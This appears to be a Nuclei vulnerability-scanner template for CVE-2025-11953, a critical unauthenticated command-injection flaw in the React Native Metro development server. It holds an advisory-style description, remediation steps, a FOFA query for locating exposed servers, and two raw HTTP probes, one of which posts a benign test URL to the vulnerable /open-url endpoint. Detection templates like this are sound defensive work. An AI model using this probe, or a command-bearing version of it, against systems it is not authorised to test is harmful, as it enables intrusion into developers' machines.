The Metro development server started by the React Native Community CLI binds to external network interfaces by default and exposes an unauthenticated /open-url endpoint. Affected versions pass the attacker supplied url value straight to the open() helper without validating the scheme, allowing an unauthenticated attacker to launch arbitrary executables on the developer machine. On Windows the request is dispatched through cmd, which permits arbitrary shell commands with fully controlled arguments. The fix was released as a backport across several release lines, so the version number alone does not indicate whether an instance is affected, and this template probes the endpoint behaviour instead.
PoC
id: CVE-2025-11953
info:
name: React Native Community CLI - Unauthenticated OS Command Injection
author: aryu-ru
severity: critical
description: |
The Metro development server started by the React Native Community CLI binds to external network interfaces by default and exposes an unauthenticated /open-url endpoint. Affected versions pass the attacker supplied url value straight to the open() helper without validating the scheme, allowing an unauthenticated attacker to launch arbitrary executables on the developer machine. On Windows the request is dispatched through cmd, which permits arbitrary shell commands with fully controlled arguments. The fix was released as a backport across several release lines, so the version number alone does not indicate whether an instance is affected, and this template probes the endpoint behaviour instead.
impact: |
An unauthenticated attacker with network access to the bundler port can execute arbitrary programs on a developer workstation, leading to compromise of the development environment along with any source code and credentials held on it.
remediation: |
Upgrade @react-native-community/cli-server-api to 17.0.1, 18.0.1, 19.1.2 or 20.0.0 and later, whichever is the fixed release for the line in use. Where upgrading is not immediately possible, bind the Metro development server to the loopback interface with --host 127.0.0.1 and block inbound access to the bundler port.
reference:
- https://jfrog.com/blog/cve-2025-11953-critical-react-native-community-cli-vulnerability/
- https://www.vulncheck.com/blog/metro4shell_eitw
- https://github.com/advisories/GHSA-399j-vxmf-hjvr
- https://github.com/react-native-community/cli/commit/15089907d1f1301b22c72d7f68846a2ef20df547
- https://nvd.nist.gov/vuln/detail/CVE-2025-11953
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-11953
epss-score: 0.9398
epss-percentile: 0.99839
cwe-id: CWE-78
metadata:
verified: true
max-request: 2
vendor: react-native-community
product: react_native_community_cli
fofa-query: title="React Native" && port="8081"
tags: cve,cve2025,react-native,metro,rce,unauth,intrusive,kev,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET /status HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "packager-status:running")'
- 'contains(to_lower(header), "x-react-native-project-root")'
condition: and
internal: true
- raw:
- |
POST /open-url HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"url":"nuclei-probe://{{randstr}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'len(body) == 0'
- '!contains(body, "Invalid URL")'
condition: and
# digest: 490a00463044022044c3e445c829a96b359e21557fa92fe2af22b52f6531a9f72a0fd0110adc97a7022051d4685ba40c7ee8220fdc88a2f6d80b529412c4b6fb98381fc8c497f0e86d9b:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.